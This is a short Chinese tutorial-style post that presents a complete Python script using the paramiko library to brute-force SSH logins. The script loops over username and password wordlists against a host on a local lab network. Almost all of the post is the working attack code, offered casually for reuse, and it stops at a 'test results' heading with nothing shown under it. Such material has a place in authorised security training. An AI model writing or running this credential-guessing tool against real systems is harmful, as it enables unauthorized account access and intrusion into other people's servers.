利用之前所学的paramiko模块来编写ssh爆破脚本,有手就行!
环境:本地kali虚拟机,账户字典u.txt,密码字典p.txt
完整代码
import paramiko
if __name__ == '__main__':
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy)
user = open('./u.txt')
username = user.read().splitlines()
passwd = open('./p.txt')
password = passwd.read().splitlines()
for u in username:
for p in password:
try:
client.connect(hostname='10.50.10.150',username=u,password=p,timeout=2)
client.close()
except:
print(f'[-] {u}:{p} login failed')
else:
print(f'[+] {u}:{p} login successfully')
测试结果